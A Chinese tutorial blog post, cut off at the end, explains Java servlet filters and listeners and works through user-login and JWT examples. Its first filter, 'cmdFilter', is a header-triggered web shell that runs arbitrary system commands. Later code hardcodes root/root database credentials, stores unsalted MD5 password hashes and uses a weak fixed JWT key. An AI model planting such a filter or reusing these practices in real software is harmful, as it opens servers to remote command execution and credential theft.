过滤器即 filterservletjsp 中都是 Java 类,在请求访问后端资源前用以处理 ServletRequestServletResponse ,可以理解为中间件。一般常用的过滤器类型如下👇

  • 认证过滤器
  • 数据压缩过滤器
  • 加密过滤器
  • 触发资源访问事件过滤器
  • 图形转换过滤器
  • 登录和验证过滤器
  • MIME类型链过滤器
  • 令牌过滤器
  • 转换XML内容的XSL/T过滤器

过滤器和 servletweb.xml 的配置差不多都先需要一个标签如 <filter> 指明名称和应用的过滤类,再用 <filter-mapping> 使用 url 正则匹配或对指定 servlet 生效模式。

- 代码 -

如果要写一个过滤器就得实现 javax.servlet.Filter 接口,在 javax.servlet.Filter 接口中定义了以下方法👇

  • default public void init(FilterConfig filterConfig) throws ServletException {}
  • public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException
  • default public void destroy() {}

其中 init 方法和 servletinit 方法差不多,当过滤器被实例化后会被调用,而 doFilter 方法即是需要进行重写自定义过滤器处理方式的方法,后面的 destroy 方法则是当不再需要过滤器时被调用。

- 自定义过滤器 -

由于过滤器的 doFilter 方法中会收到一个名为 chainFilterChain 类型的参数,目的是将经上一次过滤器得到的 requestresponse 传递过来,也就是说过滤器的调用过程实际上是一个含有多个过滤器的链表中各个过滤器的依次调用。

当执行完 doFilter 方法中的处理过程后,别忘了加上一句 filterChain.doFilter(servletRequest,servletResponse)servletRequestservletResponse 传递给下一个过滤器,如果没有加上 filterChain.doFilter(servletRequest,servletResponse) 就会在此中断(后面页面的内容也不会显示)。

- 单个过滤器 -

比如写一个名为 cmdFilter 的过滤器,功能如下👇

  • 当名为 evilservlet*.jsp 页面接收到客户请求时判断其 user-agent 是否为 dq
  • user-agentdq 则判断是否存在 cmd 请求标头
  • 若存在名为 cmd 的请求标头则将 cmd 请求标头的值去执行系统命令
  • 将执行命令的结果追加到响应内容中返回给客户端

先自定义一个实现 javax.servlet.Filter 接口的 cmdFilter 类👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package custom;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class cmdFilter implements javax.servlet.Filter{

private String userName;

@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
if((this.userName = filterConfig.getInitParameter("name")) == null || !this.userName.equals("dq")){
this.userName = "dq";
}
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

String ua = ((HttpServletRequest) servletRequest).getHeader("user-agent");
String cmd = ((HttpServletRequest) servletRequest).getHeader("cmd");

if(ua != null && cmd != null && ua.equals(this.userName) ){

BufferedReader br = new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec(cmd).getInputStream(),"GBK"));
StringBuilder sb = new StringBuilder();
String line;

while((line = br.readLine()) != null){
sb.append(line);
}

servletResponse.setCharacterEncoding("UTF-8");
servletResponse.getWriter().write(sb.toString());
}
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {
}
}

然后将其打包成 jar 放到对应目录,再更改 web.xml 内容如下👇

1
2
3
4
5
6
7
8
9
10
11
12
13
<filter>
<filter-name>cmdFilter</filter-name>
<filter-class>custom.cmdFilter</filter-class>
<init-param>
<param-name>name</param-name>
<param-value>dq</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>cmdFilter</filter-name>
<url-pattern>*.jsp</url-pattern>
<servlet-name>evil</servlet-name>
</filter-mapping>

当然,如果 servlet3.0+ 可以用以下代码等价上面的配置👇

1
@WebFilter(filterName = "cmdFilter", value = {"*.jsp", "/evil"}, initParams = {@WebInitParam(name = "name", value = "dq")})

配置好后访问相应的页面,如访问 a_evil.jsp 👇

image-20220224115649221

以及访问 evil 👇

image-20220224120707392

- 多个过滤器 -

当然,由于对过滤器的调用类似一个链表,那么是可以按照顺序来执行数个过滤器的,比如假若想实现以下功能👇

  • 过滤器A
    • 当客户端访问 *.jsp 页面时输出将访问 ip 输出
    • 将客户端请求的部分数据打包发给下一个 过滤器B
  • 过滤器B
    • 将从 过滤器A 打包的数据输出出来

有关 过滤器A 的代码👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package custom;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

public class AFilter implements javax.servlet.Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

String userIP = servletRequest.getRemoteAddr();
String userAgent = ((HttpServletRequest) servletRequest).getHeader("user-agent");

servletResponse.getWriter().write(String.join("<br>",new String[]{"- Filter A -",userIP,"- END -",""}));

servletRequest.setAttribute("IP",userIP);
servletRequest.setAttribute("UA",userAgent);

filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {
}
}

有关 过滤器B 的代码👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package custom;

import javax.servlet.*;
import java.io.IOException;

public class BFilter implements javax.servlet.Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {

String userIP = (String) servletRequest.getAttribute("IP");
String userAgent = (String) servletRequest.getAttribute("UA");

servletResponse.getWriter().write(String.join("<br>",new String[]{"- Filter B -",userIP, userAgent,"- END -"}));

filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {
}
}

有关 ABFilter.jsp 页面内容👇

1
2
3
4
5
6
7
8
9
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>ABFilter</title>
</head>
<body>
<%="<br> - ABFilter Page -"%>
</body>
</html>

以及 web.xml 内容👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<filter>
<filter-name>AFilter</filter-name>
<filter-class>custom.AFilter</filter-class>
</filter>
<filter>
<filter-name>BFilter</filter-name>
<filter-class>custom.BFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>AFilter</filter-name>
<url-pattern>*.jsp</url-pattern>
</filter-mapping>
<filter-mapping>
<filter-name>BFilter</filter-name>
<url-pattern>*.jsp</url-pattern>
</filter-mapping>

得到结果👇

image-20220224122928987

此时得到响应显示顺序为 过滤器A => 过滤器B => 页面

- filter和tomcat过程 -

tomcat 服务器在启动时先实例化所有 过滤器 ,并调用其 init 方法

客户端tomcat 服务器上的 jsp 发送 http 请求

tomcat 容器将从 客户端 发来的 http 请求封装成 ServletRequest 对象

tomcat 容器实例化一个 ServletResponse 对象用作响应

tomcat 服务器根据 <filter-mapping> 定义的 过滤器 顺序将 ServletRequestServletResponse 对象作为参数调用排在首位的实例化后 过滤器doFilter 方法

⑥ 排在首位 过滤器doFilter 方法中通过 doFilter 方法的调用将 ServletRequestServletResponse 对象传递给下一个 过滤器 ,最后一个 过滤器

tomcat 服务器由 过滤器 处理得到的 ServletRequestServletResponse 对象传给 servlet 的对应方法,后面就是一般的处理流程了

- 监听器(listener) -

监听器即是 servlet 规范中定义的一种特殊的类,用以监听特定的事件(类似 WorldEditorTriggerEvent),如创建、销毁、增加、删除、绑定等。

- 监听器划分 -

按照监听对象划分可以分为👇

  • SerletContext => SerletContextLisener
  • HttpSession => HttpSessionListener
  • ServletRequest => ServletRequestListener

按照监听事件可以划分为👇

  1. 监听域对象自身的创建和销毁的事件监听器

    • SerletContextListener

      • contextInitialized()

      • contextDestroyed()

    • HttpSessionListener

      • sessionCreated()
      • sessionDestroyed()
    • ServletRequestListener

      • requestInitialized()
      • requestDestroyed()
  2. 监听域对象中属性变动的事件监听器

    • ServletContextAttributeListener

      • AttributeAdded()

      • AttributeRemoved()

      • AttributeReplaced()

    • HttpSessionAttributeListener

      • AttributeAdded()

      • AttributeRemoved()

      • AttributeReplaced()

    • ServletRequestAttributeListener

      • AttributeAdded()

      • AttributeRemoved()

      • AttributeReplaced()

  3. 监听绑定到 HttpSession 域中某个对象状态的事件监听器

    • HttpSessionBindingListener

      • valueBound()
      • valueUnBound()
    • HttpSessionActivationListener

      • sessionWillPassivate()
      • sessionDidActivate()

用一张图来表示(摘自JSP的Web监听器)👇

img

可见监听器和过滤器一样,是有顺序的,且启动顺序大于过滤器和 servlet

- 自定义监听器 -

那么不妨从按照监听事件划分的方法依次写一个例子。

- 域对象自身的创建和销毁的事件 -

这里以 ServletRequest 对象为例,实现在请求时显示传入的 user-agent 请求标头内容,在销毁时显示所传入的所有参数内容。

先是监听器代码👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package custom;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.util.Map;

public class requestListener implements javax.servlet.ServletRequestListener {

@Override
public void requestInitialized(ServletRequestEvent sre) {
ServletRequestListener.super.requestInitialized(sre);
System.out.println("< INIT >");
System.out.println(((HttpServletRequest) sre.getServletRequest()).getHeader("user-agent"));
System.out.println("< ==== >");

}

@Override
public void requestDestroyed(ServletRequestEvent sre) {
ServletRequestListener.super.requestDestroyed(sre);
System.out.println("< DESTROY >");
Map<String,String[]> map = sre.getServletRequest().getParameterMap();

for(Map.Entry<String,String[]> entry: map.entrySet()){
String key = entry.getKey();
String[] values = entry.getValue();
System.out.println(key + ":\n" + String.join("|",values));
}
System.out.println("< ==== >");
}
}

将其打包成 jar 后放到指定目录,然后是 web.xml 内容👇

1
2
3
<listener>
<listener-class>custom.requestListener</listener-class>
</listener>

当然,如果 servlet3.0+ 直接使用注解也可以👇

1
@WebListener

访问任意页面并传入参数,比如 listener.jsp?a=1&b=123&b=321 👇

image-20220224135224122

如果再访问 listener.jsp?c=10 👇

image-20220224135328589

可见每次请求都会存在 ServletRequest 对象的创建和销毁,因而也就会被监听到。

- 域对象中属性变动的事件 -

再写一个有关 HttpSession 增删改的监听器,实现在增操作时显示增的值,在进行改和删操作时判断所改删的值是否为特定值,若不为特定值则输出操作记录。

先是监听器代码👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package custom;

import javax.servlet.http.HttpSessionAttributeListener;
import javax.servlet.http.HttpSessionBindingEvent;

public class sessionListener implements HttpSessionAttributeListener {

@Override
public void attributeAdded(HttpSessionBindingEvent se) {
HttpSessionAttributeListener.super.attributeAdded(se);
System.out.println("ADD -> " + se.getName());
System.out.println("VALUE -> " + se.getValue());
}

@Override
public void attributeReplaced(HttpSessionBindingEvent se) {
HttpSessionAttributeListener.super.attributeReplaced(se);
if(se.getName().equals("cant")){
System.out.println("REPLACE -> cant ");
System.out.println("VALUE -> " + se.getSession().getAttribute(se.getName()) + " -> " + se.getValue());
}
}

@Override
public void attributeRemoved(HttpSessionBindingEvent se) {
HttpSessionAttributeListener.super.attributeRemoved(se);
if(se.getName().equals("cant")){
System.out.println("REMOVE -> cant ");
System.out.println("VALUE -> " + se.getSession().getAttribute(se.getName()));
}
}
}

打包成 jar 放到对应的目录,接着是 web.xml 内容👇

1
2
3
<listener>
<listener-class>custom.sessionListener</listener-class>
</listener>

测试的 listener2.jsp 文件内容👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>LISTENER2</title>
</head>
<body>
<%
session.setAttribute("can","1");
session.setAttribute("cant","2");

session.setAttribute("can","2");
session.setAttribute("cant","1");

session.removeAttribute("can");
session.removeAttribute("cant");
%>
</body>
</html>

得到结果👇

image-20220224141632790

可见只要 cant 被更改就会有操作记录被输出,而对 remove 操作监听的方法是在删除操作完成后才会被执行的。

- 绑定到 HttpSession 域中某个对象状态的事件 -

HttpSession 中对象的状态有两种👇

  • 绑定与解除绑定
  • 钝化与活化

其中 绑定解除绑定 是指在 HttpSession 中某个对象设置为属性值或移除某个属性的值,而 钝化 指的是服务器将不常用的 session 对象暂时序列化放到系统文件或数据库中,与 钝化 相反,活化 是将暂存在系统文件或数据库中的 session 对象反序列化到服务器中。当 tomcat 服务器被关闭、重启时或是重新加载时,都会将 session 对象钝化到服务器的文件系统中。

针对 绑定解除绑定 的监听器,得继承 HttpSessionBindingListener 类,而针对 钝化活化 的监听器则需要继承 HttpSessionActivationListener 类。

这种 绑定对象 的监听器和上面与 设置属性 的监听器的区别在于 绑定对象 的监听器只监听某种类型对象的绑定与解除绑定操作,而 设置属性 的监听器所监听的是所有设置属性的操作。

比方说先写一个 绑定解除绑定 的监听器,为实现在对 X 类类型的值进行 绑定解除绑定 时输出特定属性,监听器代码👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package custom;

import javax.servlet.http.HttpSessionBindingEvent;
import javax.servlet.http.HttpSessionBindingListener;
import java.io.Serializable;

public class X implements HttpSessionBindingListener, Serializable {

private final String a;
private final String b;

public X(String start, String end){
this.a = start;
this.b = end;
}

@Override
public void valueBound(HttpSessionBindingEvent event) {
HttpSessionBindingListener.super.valueBound(event);
System.out.println("a -> " + this.a);
}

@Override
public void valueUnbound(HttpSessionBindingEvent event) {
HttpSessionBindingListener.super.valueUnbound(event);
System.out.println("b -> " + this.b);
}

}

将其打包成 jar 后放在相应目录即可,不需要改 web.xml 的内容。

然后是 x.jsp 文件内容👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%@ page import="custom.X" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>X</title>
</head>
<body>
<%
X x = new X("start","end");

session.setAttribute("x",x);
session.setAttribute("s","123");

session.removeAttribute("s");
session.removeAttribute("x");
%>
</body>
</html>

得到结果👇

image-20220224145045586

可见只有 X 类类型的变量当被装入 session 或从 session 中删除时才会触发 绑定解除绑定 的监听器,如果再利用上面有关 HttpSession 增删改的监听器,将 x,jsp 内容改为以下值👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<%@ page import="custom.X" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>X</title>
</head>
<body>
<%
X x = new X("start","end");

session.setAttribute("cant",x);
session.setAttribute("s","123");

session.setAttribute("cant",x);

session.removeAttribute("s");
session.removeAttribute("cant");
%>
</body>
</html>

得到结果👇

image-20220224145615268

可见有关 绑定解除绑定 的监听器是在上面有关 HttpSession 增删改的监听器前的,也就是说当指定类型的类实例被放入 session 中这个操作被执行前 绑定解除绑定 的监听器就已经监听到了,而在指定类型的类实例在被 session 执行删除操作前 绑定解除绑定 的监听器也能监听到。

第二个是 钝化活化 监听器,实现在服务器对 Y 类类型的值进行 钝化活化 时输出特定的属性值,先是监听器代码👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package custom;

import javax.servlet.http.HttpSessionActivationListener;
import javax.servlet.http.HttpSessionEvent;
import java.io.Serializable;

public class Y implements HttpSessionActivationListener, Serializable {

public String a;
public String b;



public Y(String start, String end){
this.a = start;
this.b = end;
}

public Y(){

}


@Override
public void sessionDidActivate(HttpSessionEvent se) {
HttpSessionActivationListener.super.sessionDidActivate(se);
System.out.println("a -> " + this.a);
}

@Override
public void sessionWillPassivate(HttpSessionEvent se) {
HttpSessionActivationListener.super.sessionWillPassivate(se);
System.out.println("b -> " + this.b);
}


}

将其打包成 jar 放到对应目录后,在 web.xml 写入以下内容👇

1
2
3
<listener>
<listener-class>custom.Y</listener-class>
</listener>

然后是 y.jsp 文件内容👇

1
2
3
4
5
6
7
8
9
10
11
12
13
<%@ page import="custom.Y" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Y</title>
</head>
<body>
<%
Y y = new Y("活化","钝化");
session.setAttribute("x",y);
%>
</body>
</html>

先访问 y.jsp ,再关闭服务器得到以下结果👇

image-20220224151033908

由于这里用的是 IntelliJ IDEA 配合 tomcat 每次关闭服务器都会将临时配置文件清空,所以应该是在启动服务器时没能显示 a -> 活化 的原因。

- 其他 -

随便写写几个例子加深下印象。

- 用户管理实例 -

- 要求 -

简单实现 用户注册用户登录用户登出

- 实现 -

先随便建个表👇

1
2
3
4
5
6
7
8
mysql> desc user.userInfo;
+----------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| username | varchar(255) | YES | | NULL | |
| password | varchar(32) | YES | | NULL | |
+----------+--------------+------+-----+---------+-------+
2 rows in set (0.00 sec)

登录页面 login.jsp 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Login</title>
</head>
<body>
<form action="core" target="_self" method="post">
<input hidden="hidden" name="action" value="login"/>
<p> 用户名 </p><input type="text" name="username"/>
<hr>
<p>密 码</p></p><input type="password" name="password"/>
<hr>
<input type="submit" value="登录">
</form>
<a href="register.jsp">注册</a>
</body>
</html>

注册页面 register.jsp 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Register</title>
</head>
<body>
<form action="core" target="_self" method="post">
<input hidden="hidden" name="action" value="register"/>
<p>用户名</p><input type="text" name="username"/>
<hr>
<p>密 码</p></p><input type="text" name="password"/>
<hr>
<p>重复密码</p><input type="text" name="repassword"/>
<hr>
<input type="submit" value="注册">
</form>
<a href="login.jsp">登录</a>
</body>
</html>

登出页面 logout.jsp 👇

1
2
3
4
5
6
7
8
9
10
11
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Logout</title>
</head>
<body>
<jsp:forward page="core">
<jsp:param name="action" value="logout" />
</jsp:forward>
</body>
</html>

个人主页 home.jsp 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Home</title>
</head>
<body>
<%
boolean isLogin = false;

if(session.getAttribute("login") != null){
isLogin = (boolean) session.getAttribute("login");
}

if(!isLogin)
{
out.write("还未登录!页面将在 3 秒后跳转至登录页面!");
response.setHeader("refresh","3;url=login.jsp");
return;
}
%>
<h1>你好,<%=session.getAttribute("user")%></h1>
<a href="logout.jsp">登出</a>
</body>
</html>

处理编码的 filter 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.example.usermanage;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter(filterName = "textFilter", value = {"/*"})
public class textFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
request.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=UTF-8");
chain.doFilter(request,response);
}
}

处理逻辑的 servlet 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
package com.example.usermanage;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.sql.*;
import java.util.Base64;
import java.util.Locale;

@WebServlet(name = "core", value = "/core")
public class coreServlet extends HttpServlet {

static final String JDBC_DRIVER = "com.mysql.cj.jdbc.Driver";
static final String DB_URL = "jdbc:mysql://localhost:3306/user?serverTimezone=UTC";
static final String USER = "root";
static final String PASS = "root";

private Connection conn = null;

@Override
public void init(){

try {
Class.forName(JDBC_DRIVER);
this.conn = DriverManager.getConnection(DB_URL,USER,PASS);
} catch (SQLException | ClassNotFoundException e) {
System.out.println("ERROR -> " + e.getMessage());
}

}

private void login(HttpServletRequest req, HttpServletResponse resp) throws IOException, NoSuchAlgorithmException{


String user = req.getParameter("username");
String pass = req.getParameter("password");

if(user == null || pass == null){
resp.getWriter().write("用户名或密码为空!页面将在 3 秒后跳转回登录界面!");
resp.setHeader("refresh","3;url=login.jsp");
return;
}

boolean success = false;

MessageDigest md5 = MessageDigest.getInstance("MD5");
md5.update(pass.getBytes(StandardCharsets.UTF_8));
String passHash = Base64.getEncoder().encodeToString(md5.digest());

try {

PreparedStatement preparedStatement = this.conn.prepareStatement("select * from userInfo where username = ? and password = ?");

preparedStatement.setString(1,user);
preparedStatement.setString(2,passHash);

ResultSet resultSet = preparedStatement.executeQuery();

if(resultSet != null && resultSet.next()){

HttpSession session = req.getSession(true);
String sqlUser = resultSet.getString(1);

session.setAttribute("user",sqlUser);
session.setAttribute("login",true);

success = true;
}

}catch (SQLException e){
System.out.println("ERROR ->" + e.getMessage());
}

if(success){
resp.getWriter().write("登录成功!页面将在 3 秒后跳转至个人主页!");
resp.setHeader("refresh","3;url=home.jsp");
}else{
resp.getWriter().write("登录失败!页面将在 3 秒后跳转至登录页面!");
resp.setHeader("refresh","3;url=login.jsp");
}


}

private void register(HttpServletRequest req, HttpServletResponse resp) throws IOException, NoSuchAlgorithmException {

String user = req.getParameter("username");
String pass = req.getParameter("password");
String repass = req.getParameter("repassword");

if(!pass.equals(repass)){
resp.getWriter().write("两次密码不一致!页面将在 3 秒后跳转回注册界面!");
resp.setHeader("refresh","3;url=register.jsp");
return;
}

if(user == null || pass == null){
resp.getWriter().write("用户名或密码为空!页面将在 3 秒后跳转回注册界面!");
resp.setHeader("refresh","3;url=register.jsp");
return;
}

boolean success = false;

MessageDigest md5 = MessageDigest.getInstance("MD5");
md5.update(pass.getBytes(StandardCharsets.UTF_8));
String passHash = Base64.getEncoder().encodeToString(md5.digest());


try {

PreparedStatement preparedStatement = this.conn.prepareStatement("select * from userInfo where username = ?");

preparedStatement.setString(1,user);

ResultSet resultSet = preparedStatement.executeQuery();

if(resultSet != null && resultSet.next()){

resp.getWriter().write("用户名已存在!页面将在 3 秒后跳转回注册界面!");
resp.setHeader("refresh","3;url=register.jsp");
return;

}

}catch (SQLException e){
System.out.println("ERROR ->" + e.getMessage());
}


try{

PreparedStatement preparedStatement = this.conn.prepareStatement("insert into userInfo values(?,?)");


preparedStatement.setString(1,user);
preparedStatement.setString(2,passHash);

preparedStatement.execute();

HttpSession session = req.getSession(true);

session.setAttribute("user",user);
session.setAttribute("login",true);

success = true;


}catch (SQLException e){
System.out.println("ERROR ->" + e.getMessage());
}

if(success){
resp.getWriter().write("注册成功!页面将在 3 秒后跳转至个人主页!");
resp.setHeader("refresh","3;url=home.jsp");
}else{
resp.getWriter().write("注册失败!页面将在 3 秒后跳转至注册页面!");
resp.setHeader("refresh","3;url=register.jsp");
}

}

private void logout(HttpServletRequest req, HttpServletResponse resp) throws IOException {

HttpSession session = req.getSession(true);

if(session.getAttribute("user") == null || session.getAttribute("login") == null){
resp.getWriter().write("还未登录!页面将在 3 秒后跳转至登录页面!");
}else {
session.removeAttribute("user");
session.removeAttribute("login");
resp.getWriter().write("登出成功!页面将在 3 秒后跳转至登录页面!");
}

resp.setHeader("refresh","3;url=login.jsp");

}

@Override
public void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {

String action = req.getParameter("action");


if(action != null){
try {
switch (action.toLowerCase(Locale.ROOT)) {
case "login":
login(req, resp);
break;
case "register":
register(req, resp);
break;
default:
resp.getWriter().write("参数错误");

}
}catch (NoSuchAlgorithmException e) {
System.out.println("ERROR -> " + e.getMessage());
}
}else {
resp.getWriter().write("参数错误");
}

}

@Override
public void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String action = req.getParameter("action");
if(action != null) {

switch (action.toLowerCase(Locale.ROOT)){
case "logout":
logout(req,resp);
}

}else {
resp.getWriter().write("参数错误");
}

}

@Override
public void destroy() {
if(this.conn != null){
try {
this.conn.close();
} catch (SQLException e) {
System.out.println("ERROR -> " + e.getMessage());
}
}
}
}
- 测试 -

注册用户 👇

image-20220224175312508

此时数据库内容👇

1
2
3
4
5
6
7
mysql> select * from userInfo;
+----------+--------------------------+
| username | password |
+----------+--------------------------+
| cc | xMpCOKC5I4INzFCab3WEmw== |
+----------+--------------------------+
1 rows in set (0.00 sec)

登录用户 👇

image-20220224175423335

接着👇

image-20220224175449089

个人主页 👇

image-20220224175500978

登出用户 👇

image-20220224175510580

- jwt管理实例 -

- 要求 -

简单地使用 cookie + jwt 依靠过滤器做身份认证。

- 实现 -

生成页面 generate.jsp 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Generate</title>
</head>
<body>
<form action="core" target="_self" method="post">
<input hidden="hidden" name="action" value="generate"/>
<p> 用户名 </p><input type="text" name="username"/>
<hr>
<input type="submit" value="生成">
</form>
</body>
</html>

信息页面 info.jsp 👇

1
2
3
4
5
6
7
8
9
10
11
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Info</title>
</head>
<body>
<h3>用户名: <%=request.getAttribute("username")%></h3>
<hr>
<a href="clear.jsp">清空jwt</a>
</body>
</html>

清除页面 clear.jsp 👇

1
2
3
4
5
6
7
8
9
10
11
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Clear</title>
</head>
<body>
<jsp:forward page="core">
<jsp:param name="action" value="clear" />
</jsp:forward>
</body>
</html>

包装好的 Jwt 类👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package custom;

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;

import javax.management.timer.Timer;
import java.util.Date;
import java.util.Map;
import java.util.UUID;

public class Jwt{

static final private String key = "dqv5";
static final private String signer = "morouu";
static final private long endTime = 30 * Timer.ONE_MINUTE;

public static String generate(Map<String, Object> map, SignatureAlgorithm sign){

long nowTime = System.currentTimeMillis();

Date now = new Date(nowTime);
Date end = new Date(nowTime + endTime);

return Jwts.builder()
.addClaims(map)
.setId(UUID.randomUUID().toString())
.setIssuedAt(now)
.setExpiration(end)
.setSubject(signer)
.signWith(sign,key)
.compact();

}

public static Claims parse(String token){
return Jwts.parser()
.setSigningKey(key)
.parseClaimsJws(token)
.getBody();
}


}

处理编码的 filter 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.example.jwtmanage;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter(filterName = "textFilter", value = {"/*"})
public class textFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
request.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=UTF-8");
chain.doFilter(request,response);
}
}

处理认证的 filter 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.example.jwtmanage;

import io.jsonwebtoken.Claims;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.Cookie;
import java.io.IOException;

@WebFilter(filterName = "jwtFilter", value = {"/info.jsp"})
public class jwtFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {

Cookie[] cookies = ((HttpServletRequest)request).getCookies();
String user = "身份错误!";
Claims claims;

for(Cookie c : cookies){
if(c.getName().equals("Jwt")){
claims = custom.Jwt.parse(c.getValue());
if(claims != null){
user = (String)claims.get("username");
}
}
}

request.setAttribute("username",user);

chain.doFilter(request,response);
}
}

处理逻辑的 servlet 👇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package com.example.jwtmanage;

import io.jsonwebtoken.SignatureAlgorithm;

import javax.management.timer.Timer;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.HashMap;
import java.util.Locale;
import java.util.Map;

@WebServlet(name = "core", value = "/core")
